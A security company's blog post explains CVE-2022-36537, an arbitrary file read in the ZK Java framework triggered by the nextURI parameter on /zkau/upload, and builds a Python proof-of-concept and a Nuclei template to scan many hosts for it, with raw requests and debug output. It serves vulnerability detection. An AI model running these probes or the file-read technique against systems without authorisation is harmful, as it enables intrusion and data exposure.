Why It's Not Worth Goading Us On A Friday - CVE-2022-36537 At Scale

At watchTowr, the security of our client's external systems is of priority. And as hackers, bugs are our passion. It's our job to understand emerging weaknesses, vulnerabilities and misconfigurations - and quickly translate that knowledge into an answer to the question of "how does this impact our clients?".

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

One Friday, we saw an unnamed cyber security company teasing the release of a vulnerability that they had been able to exploit in a popular piece of enterprise backup software.

via GIPHY

Sounded interesting, and likely relevant to our clients - you have our attention.

As real hackers will know, the quickest way to bug death is to goad others around the existence of a bug in a piece of software that only you are aware of - tempting fate almost. Especially when you point at the software, describe the impact - like providing the bank blueprints but not specifically telling us where the vault is.

Anyway, true to form and almost predictably, we took the bait, chewed the bait, tasted the bait, appreciated the bait, and just dived head-first down the rabbit hole. Rapid sleuthing and reading skills determined that said aforementioned hyped vulnerability itself wasn't directly in the unnamed enterprise backup software (we're avoiding saying the name - like Voldemort if you will - for fear of being told that we are "enabling others"), but in a library used by this software - the popular 'ZK' Java framework.

This blog post will discuss the vulnerability, but most importantly - how we test our clients at scale for this type of weakness (and no, it's not just hundreds of people hitting enter over and over again - but the mental image is at least enjoyable).

This is, as you can imagine, a technical challenge - not just to exploit the vulnerability, but the scale challenge of "how can you probe tens of thousands of hosts for tens of thousands of vulnerabilities, in as close to real-time as you can, without breaking the laws of computing (and/or the cloud provider's ToS)?"

To actually achieve this, we use a variety of means, such as an in-house Python-based engine, scaled multi-processing engines and a lot of code that we have affectionately named "Ben-tier quality". However, in this blog post, we'll talk about a tool we sometimes use internally called Nuclei (albeit, a heavily modified version), which is essentially a tool written in Golang that parses YAML-based templates for identifying 'behaviour' - i.e., vulnerabilities.

Today I'd like to share the journey, starting at our Friday 5pm sleuthing and culminating in the ability to probe systems, at real-world scale, for the vulnerability.

Of course, before you can write a functioning detection tool, you first need to know what you're trying to detect, so the first step - understand the bug.

The Bug

After some initial deducing of the hype surrounding this bug, a likely root-cause was pinpointed - a recently announced and discussed vulnerability in the 'ZK' framework.

Since the bug is in a framework rather than specific application code itself, it results in exploitable bugs in various tools that use it. This type of bug is of particular interest for obvious reasons - a bug that affects lots of applications is better than a bug that only affects a single application!

When first digging into this bug, it appeared that there was no public exploit or information, but the ZK issue tracker gives us enough to go on anyway:

ZK AuUploader servlets contains a security vulnerability which can be
exploited to retrieve the content of a file [...] an attacker may send a
forged request to the /zkau/upload endpoint.
If the forged request contains the nextURI parameter, the AuUploader will 
[...] output the document found if any into the response.

From this, we can deduce that we're dealing with an Arbitrary File Read vulnerability which will allow us to read a file on the target host, triggered by a request to the /zkau/upload endpoint with the nextURI parameter. That's a lot of information, and enough for us to start experimenting.

At this point, I used ZK's excellent "Getting Started" guide and quickly got a simple 'Hello World' application running with the framework. Since the bug centers around the 'upload' endpoint, I added a 'file upload' widget, which is designed to use said 'upload' endpoint, and fired up Burp Suite to see what was going on. Uploading a sample file, Burp revealed that the payload was, indeed, POST'ed to the /zkau/upload endpoint, with a few parameters:

POST /sampleapp/zkau/upload?uuid=wSNQ5&dtid=z_7QOs1yDCoiDUOJy-tk4iQg&sid=1 HTTP/1.1
Host: localhost:8000
[...]
Content-Length: 89534
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytAj4Joe0JKslirGN
Cookie: JSESSIONID=node01dcc9hfs84jkqrq6atclc88lv0.node0
Connection: close

------WebKitFormBoundarytAj4Joe0JKslirGN
Content-Disposition: form-data; name="file"; filename="hackers.webp"
Content-Type: image/webp

RIFFü\[...]

We can see that there's no nextURI parameter being provided, interestingly. Let's try adding one and see what happens - maybe we'll get lucky (spoiler: we do, but only after we change the 'uuid' property to something else):

A "404 not found" error message, hrm. This is interesting mostly because it is unexpected - why would appending a nextURI parameter result in this condition? Looking at the response, there has been no HTTP redirect performed. Perhaps the server is attempting to fetch the resource we've named in the nextURI parameter, and failing because it doesn't exist?

To confirm or reject this suspicion, it is helpful to look at the code for the function itself (indeed, it is never 'not helpful' to do this!). This code can be found in the file org/zkoss/zk/au/http/AuUploader.java, and reveals what kind of thing it usually uses this parameter for:

public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
	...
	if (nextURI == null || nextURI.length() == 0)
		nextURI = "~./zul/html/fileupload-done.html.dsp";
	Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
}

Right at bottom we see a server-side forward of some kind to ~./zul/html/fileupload-done.html.dsp. The essence of the vulnerability is revealed here, as the nextURI parameter is being used to perform a server-side forward - the server will read the resource it specifies and return it to the user.

We can confirm the vulnerability and its exploitability by requesting one of the other files from the same ~./zul/html location, such as imagemap-done.html:

And we're rewarded with that file. Great! That's our arbitrary file read working! Simple, yet effective. All we need to do is POST to the /zkau/upload endpoint, specifying a nextURI referencing a resource we'd like to read. We do, however, need to supply a valid session in the dtid parameter - to get this, we just need to request any other page from the site and parse it from the JavaScript in the response.

Usually after confirming a vulnerability like this by hand, it is helpful to write a very quick Python-based PoC to ensure we understand the steps involved. This is what I came up with:

import sys
import re
import requests

if len(sys.argv) != 2:
	raise Exception(f"Usage: {sys.argv[0]} <host URL>")

baseurl = sys.argv[1]
if '://' not in baseurl:
	baseurl = 'http://' + baseurl

s = requests.Session() 

# Fetch a page so we get a dtid
response = s.get(baseurl)
resp = response.text
# And pull that dt id out of the JS
m = re.search("dt:'(.*?)'", resp)
if m is None:
	raise Exception("Couldn't find 'dt:' token in page - is this really a ZK website?")
dt = m.groups()[0]

# Now we can try to upload a file, with the nextURI parameter set to a non-existant filename. This will result in 404
# if the host is vulnerable as it will try to serve the non-existant file.
files = { "file": 'watchtowr' }
response = s.post(f'{baseurl}/zkau/upload?uuid=a&dtid={dt}&sid=&nextURI=~./zul/html/watchtowr', files=files)
if response.status_code == 404:
	print("Host is vulnerable >:)")
else:
	print("Host is not vulnerable ._.")

It's very straightforward - we first fetch the index page, so we get a session ID (lines 15-16), then I use a quick-and-dirty regular expression to find the 'dt' token which contains the session ID (17-23).  I then set up a file upload of an empty file, and attempt to POST it to the /zkau/upload endpoint - setting the nextURI to a non-existent file, ./zul/html/watchtowr. If the host returns a 404, this indicates that it has attempted to serve this file and is thus vulnerable. We can check this works by running a patched version of the application (in my case, using version 9.6.0.2 instead of 9.6.0 of ZK) on a different port:

c:\code\zk>c:\Python39\python.exe scan.py http://localhost:8000/sampleapp
Host is vulnerable >:)

c:\code\zk>c:\Python39\python.exe scan.py http://localhost:8001/sampleapp
Host is not vulnerable ._.

Fantastic, we correctly detect a vulnerable instance on port 8000, and we can correctly identify a patched instance on port 8001.

At this point, the only thing lacking from our PoC is scalability. Attempting to scan tens of thousands of hosts with this simple Python code would be an exercise in frustration, given Python's threading model and the language's design objectives - while it is possible, but it comes at a significant infrastructure and speed cost and might place heavy restrictions on the elegance of the code we write (ha ha, implying we write elegant code).

This is where efficient, scalable tools, like Nuclei, come into the picture. These tools are designed to probe vast amounts of targets, and to filter large datasets. This enables us to match complex conditions and identify results of interest. Furthermore, due to the YAML-based format for Nuclei 'templates', we gain rapid prototyping in a similar manner to Python, without taking on the complexity that a 'real' programming language brings. This is a useful way to scale our detection up to the levels that we need.

Nuclei - Getting Started

Fortunately, Nuclei is pretty easy to get running, supplying an official Docker image to minimize the environment setup. I started their container in interactive mode, with a local directory mapped so I could quickly iterate as I developed my template:

docker run --entrypoint=/bin/sh -it --volume=C:\code\zk\nuclei:/root/nuclei-templates projectdiscovery/nuclei

The template itself contains some metadata, so to start with, we'll make a new YAML file in the directory we mapped containing just that.

id: zd-5150

info:
  name: ZK framework ZD-5150
  author: aliz

Nuclei can use the author in this metadata to select the template to run, like this:

/ # /usr/local/bin/nuclei -u http://172.7.12.219:8000  -a aliz

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.8

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.8 (outdated)
[INF] Using Nuclei Templates 9.2.7 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[INF] No results found. Better luck next time!
/ #

Fantastic, we've got Nuclei set up, and our template skeleton has been evaluated. Next stop - writing the template logic!

Nuclei - Writing A Template

Our Nuclei template needs to perform the following steps:

1) Send a HTTP GET to the / endpoint, and extract the dt parameter from the response

2) Construct a URL to the /zkau/upload endpoint, using the dt parameter extracted above

3) Send a POST to this URL

4) Examine the result of the POST request - an HTTP 404 indicates the host is vulnerable, and an HTTP 200 indicates it is not.

There are a few different ways to express an HTTP request in Nuclei, but the requirement for us to extract data from one request and use it in a subsequent request means we must use the most flexible type,  raw, which requires that we specify the entire HTTP payload. It's easier to show an example than it is to explain most of this, so here's what the first request looks like:

requests:
  - raw:
      - |
        GET /sampleapp HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        User-Agent: python-requests/2.24.0
        Accept: */*       
        Content-Length: 0
       
      

Simple enough - a HTTP GET request to the / endpoint. Note that Nuclei will substitute a few variables before sending the request, such as {{Hostname}} (a complete list is available in the Nuclei documentation here).

Extracting a value from the response is done with an 'extractor' element. This is pretty flexible, allowing a few different ways to extract text, but we'll stick with the basic regular expression matcher. We add a capturing group to our regex, and specify the index of the group using the group parameter, and set the part parameter to body, indicating the source of the data. Note the internal field, which must be set to true for the extractor to operate correctly. Finally, the name field specifies the name of the variable, which Nuclei will then substitute into subsequent requests in a similar manner to the Hostname variable in our previous request.

    extractors:
      - type: regex
        name: dtid
        group: 1
        part: body
        internal: true
        regex:
          - "{dt:'(.*?)'"

With this done, we can move on to our second request, the POST. Again, we simply specify the raw HTTP request, so there are no surprises here, beyond the {{dtid}} reference to the session variable we set previously:

      - |
       POST /zkau/upload?uuid=a&dtid={{dtid}}&sid=&nextURI=~./zul/html/watchtowr HTTP/1.1
       Host: {{Hostname}}
       Connection: close
       User-Agent: python-requests/2.24.0
       Content-Length: 140
       Origin: http://localhost:8000
       Accept: */*
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytAj4Joe0JKslirGN
       X-Requested-With: XMLHttpRequest
       
       ------WebKitFormBoundarytAj4Joe0JKslirGN
       Content-Disposition: form-data; name="file"; filename="hackers.webp"
       Content-Type: image/webp

The final stage is to examine the resultant HTTP response code. This is done with a 'matcher', which is again very flexible, permitting us to use a DSL to match. We don't need to use this complexity, however, since the status matcher will simply match on a status code:

    req-condition: true
    matchers:
      - type: status
        status:
          - 404

Our completed template looks like this. Note that we've added two extra parameters - cookie-reuse, to re-use cookies over requests, and iterate-all, which is required for our extractor to run.

id: zd-5150

info:
  name: ZK framework ZD-5150
  author: aliz

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Content-Length: 0
       
       
      - |
       POST /zkau/upload?uuid=a&dtid={{dtid}}&sid=&nextURI=~./zul/html/watchtowr HTTP/1.1
       Host: {{Hostname}}
       Connection: close
       Content-Length: 140
       Origin: http://localhost:8000
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytAj4Joe0JKslirGN
       X-Requested-With: XMLHttpRequest
       
       ------WebKitFormBoundarytAj4Joe0JKslirGN
       Content-Disposition: form-data; name="file"; filename="hackers.webp"
       Content-Type: image/webp


    cookie-reuse: true
    iterate-all: true
    extractors:
      - type: regex
        name: dtid
        group: 1
        part: body
        internal: true
        regex:
          - "{dt:'(.*?)'"

    req-condition: true
    matchers:
      - type: status
        status:
          - 404

Our new template in action:

/ # /usr/local/bin/nuclei -u http://192.168.70.12:8000/sampleapp  -a aliz --disable-update-check

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.8

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.8 (outdated)
[INF] Using Nuclei Templates 9.2.7 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[2022-11-08 22:05:32] [zd-5150] [http] [] http://192.168.70.12:8000/sampleapp/zkau/upload?uuid=a&dtid=z_Jm_C0r5sneiljH0mQoueAg&sid=&nextURI=~./zul/html/watchtowr
/ #

The final line indicates that the template has triggered.  Contrast this with a run against a patched codebase:

/ # /usr/local/bin/nuclei -u http://192.168.70.12:8000/sampleapp  -a aliz --disable-update-check

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.8

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.8 (outdated)
[INF] Using Nuclei Templates 9.2.7 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[INF] No results found. Better luck next time!
/ #

If you have any problems, there are a few debug options that may help. I quite like this combination, which shows extracted variables as well as HTTP requests and responses:

/usr/local/bin/nuclei -u http://192.168.70.12:8000/sampleapp  -a aliz --disable-update-check -debug --retries 4 --debug-req --debug-resp --fr --stats

The output is long, so I won't reproduce it here, but the last paragraph or so contains the final response - a 404, as expected.

[DBG] [zd-5150] Dumped HTTP response http://192.168.70.12:8000/sampleapp/zkau/upload?uuid=a&dtid=z_GeGD0-BzG1UGqq8RqxWPYA&sid=&nextURI=~./zul/html/watchtowr

HTTP/1.1 404 Not Found
Connection: close
Content-Length: 486
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Server: Jetty(10.0.5)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 404 /zul/html/watchtowr</title>
</head>
<body><h2>HTTP ERROR 404 /zul/html/watchtowr</h2>
<table>
<tr><th>URI:</th><td>/sampleapp/zkau/upload</td></tr>
<tr><th>STATUS:</th><td>404</td></tr>
<tr><th>MESSAGE:</th><td>/zul/html/watchtowr</td></tr>
<tr><th>SERVLET:</th><td>auEngine</td></tr>
</table>
<hr><a href="https://eclipse.org/jetty">Powered by Jetty:// 10.0.5</a><hr/>

</body>
</html>
[2022-11-08 22:06:55] [zd-5150:status-1] [http] [] http://192.168.70.12:8000/zkau/upload?uuid=a&dtid=z_GeGD0-BzG1UGqq8RqxWPYA&sid=&nextURI=~./zul/html/watchtowr
[0:00:00] | Templates: 1 | Hosts: 1 | RPS: 61 | Matched: 1 | Errors: 0 | Requests: 2/2 (100%)

The Nuclei DSL

Problem solved, the goading drove us to great things. But alas, life is never so simple.

While our template appears to work fine - we've tested it against a vulnerable instance and a patched instance, and we get the correct results - those who try to use it at scale (or are just plain unlucky) will find that it does occasionally fail.

Running the template repeatedly, we can see one such failure:

/ # /usr/local/bin/nuclei -u http://192.168.70.12:8000/sampleapp  -a aliz --disable-update-check -debug --retries 4 --debug-req --debug-resp --fr --stats

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.8

                projectdiscovery.io

[...]
[DBG] [zd-5150] Dumped HTTP response http://192.168.70.12:8000/sampleapp

HTTP/1.1 302 Found
Connection: close
Date: Tue, 08 Nov 2022 22:19:09 GMT
Location: http://192.168.70.12:8000/sampleapp/
Server: Jetty(10.0.5)

[...]

[INF] [zd-5150] Dumped HTTP request for http://192.168.70.12:8000/sampleapp/zkau/upload?uuid=a&dtid=z_YjPYB0aj\x2DqdOOp6fJBUlPQ&sid=&nextURI=~./zul/html/watchtowr

POST /sampleapp/zkau/upload?uuid=a&dtid=z_YjPYB0aj\x2DqdOOp6fJBUlPQ&sid=&nextURI=~./zul/html/watchtowr HTTP/1.1
Host: 192.168.70.12:8000

[...]

[DBG] [zd-5150] Dumped HTTP response http://192.168.70.12:8000/sampleapp/zkau/upload?uuid=a&dtid=z_YjPYB0aj\x2DqdOOp6fJBUlPQ&sid=&nextURI=~./zul/html/watchtowr

HTTP/1.1 200 OK
Connection: close
Content-Language: en-SG
Date: Tue, 08 Nov 2022 22:19:09 GMT
Server: Jetty(10.0.5)
Zk-Error: 410

We can see here that the first request was performed OK (lines 12-18), and the second one was requested OK, but the second response returned a HTTP 200 OK response instead of the expected 404! What gives?!

Well, attentive readers may have spotted the Zk-Error header, which is an error code returned by the ZK framework. Some sleuthing reveals that this occurs only when the extracted dtid contains the characters \x2D, and with some further experimentation, we discover that the ZK framework requires that this character be unescaped into a - character before sending. In Python, this is a simple call to dt.encode('utf-8').decode('unicode_escape'), and I feared that a more simple engine like Nuclei may not be able to perform such a transformation.

Nuclei does, however, have a rich DSL, capable of many operations ranging from the complex (such as encryption operators) to the mundane (such as string length counting). There appears to be no function that decodes the C-style backslash-encoded bytes, however, so at first glance we are out of luck.

Fortunately for us, though, we don't actually need to decode the entire range of bytes, since the only escaped value that dt can ever contain is the \x2D we saw previously. Because of this, we can simply perform a string search-and-replace, replacing the string "\x2D" with the string "-". This is surprisingly easy in the Nuclei DSL once we know how - simply change the body of our request to this:

POST /zkau/upload?uuid=a&dtid={{replace(dtid, "\\x2D", "-")}}&sid=&nextURI=~./zul/html/watchtowr HTTP/1.1

Straightforward - we just introduced the replace function. With that, our template is functional, and we can leverage Nuclei to probe squillions of hosts.

Refining our match condition

While our template works in our test environment - the two docker containers - it isn't quite ready for the prime-time yet. A framework that can scale is only part of the equation - our template must scale equally well.

One lesson we learned early on in our quest for "hacking at scale" was to pay close attention to the 'long tail' of search results. The corner-cases that are easy to ignore over a hundred hosts can quickly grow into a quagmire of false positives when probing tens of thousands of hosts. Our functional template is an example of this - since it matches only on the HTTP response code of 404, it will almost certainly cause a significant amount of false positives once we run it at scale. Let's look for ways to refine our template, matching with a higher level of confidence.

If you recall, the response to a vulnerable host has a specific HTML title value, which relates to the file we requested:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 404 /zul/html/watchtowr</title>
</head>
<body><h2>HTTP ERROR 404 /zul/html/watchtowr</h2>
<table>
<tr><th>URI:</th><td>/sampleapp/zkau/upload</td></tr>
<tr><th>STATUS:</th><td>404</td></tr>
<tr><th>MESSAGE:</th><td>/zul/html/watchtowr</td></tr>
<tr><th>SERVLET:</th><td>auEngine</td></tr>
</table>
<hr><a href="https://eclipse.org/jetty">Powered by Jetty:// 10.0.5</a><hr/>

</body>
</html>

Let's also match on this, since it contains not a URL, but a parsed path, indicating that the fetch has occurred. Nuclei allows us to combine conditions in the match stanza, so we can match on HTTP status code but also refine via a regex match by adding a new stanza. Note, however, that Nuclei will by default combine the two matchers with an 'or' operation, while we need an 'and' operation - this can be defined via matchers-condition:

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 404
      - type: regex
        regex:
          - "<title>Error 404 /zul/html/watchtowr</title>"

If we run in debug mode, we can see the fields matched highlighted in green, which is a useful debugging aid:

To refine things some more, we can check that the initial request - the GET to / - sets the JSESSIONID cookie. If it doesn't, the host can be ignored. Nuclei exposes the result of each request with a numeric indicator, like this:

[DBG] Protocol response variables:
[...]
        14. header_2 => HTTP/1.1 404 Not Found  C .... Server: Jetty(10.0.5)
[...]
        30. header_1 => HTTP/1.1 200 OK  Connecti .... ode0; Path=/sampleapp
[...]

Nuclei even parses cookies for us, so we can just use the variable set_cookie_1 to access the set-cookie payload for the first request. For this, we'll use the dsl type, which provides access to a rich domain-specific language:

      - type: dsl
        dsl:
          - "contains(set_cookie_1, 'JSESSIONID=')"

Going a little bit further, we can even check that the dt variable is in the expected format, which further eliminates false positives from hosts not using the ZK framework. This is simple enough using the the Nuclei DSL language, which exposes a len function for string length checks. There is one caveat though - since the matchers are evaluated after each request, we must accept the length of a string both before and after our string replace.

      - type: dsl
        dsl:
          - "len(dtid)==24||len(dtid)==27"
          

Since we're in Nuclei's DSL, we may as well check that the dt starts with the token z_ as well:

      - type: dsl
        dsl:
          - "(len(dtid)==24||len(dtid)==27)&&starts_with(dtid, 'z_')"

Neat, huh?

Conclusion

We've shown how Nuclei can be used to quickly develop a template capable of identifying hosts exposing a specific vulnerability, with enough refinement that it can be used at scale.

We briefly discussed the bug itself, quickly threw together a proof-of-concept in Python, and then spent the majority of the post translating this into a high-fidelity template which was able to operate at scale - paying particular attention to honing our template to bring false positives down to an acceptable level. We ended up with a practical way of detecting the vulnerability in the underlying framework, at scale, in a rapid manner.

We hope this is an interesting peek into how we can operate at the scale we do here at watchTowr. While obviously, we use a variety of technologies to probe attack surfaces, Nuclei is a respected cog in our machinery, mostly because of its ability to scale to a large number of hosts without significant performance degradation.

This rapid PoC process, which we repeat on a regular basis as new vulnerabilities appear or our minds conjur up innovative ways to do abusive things to computers,  allows watchTowr to rapidly and proactively enumerate vulnerable systems across our client base, while continuously testing for said weaknesses/vulnerabilities/abusive thing - typically ahead of public release of information for the wider community.

Take that, security-companies-that-like-to-goad-hackers-at-5pm-on-a-Friday!

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.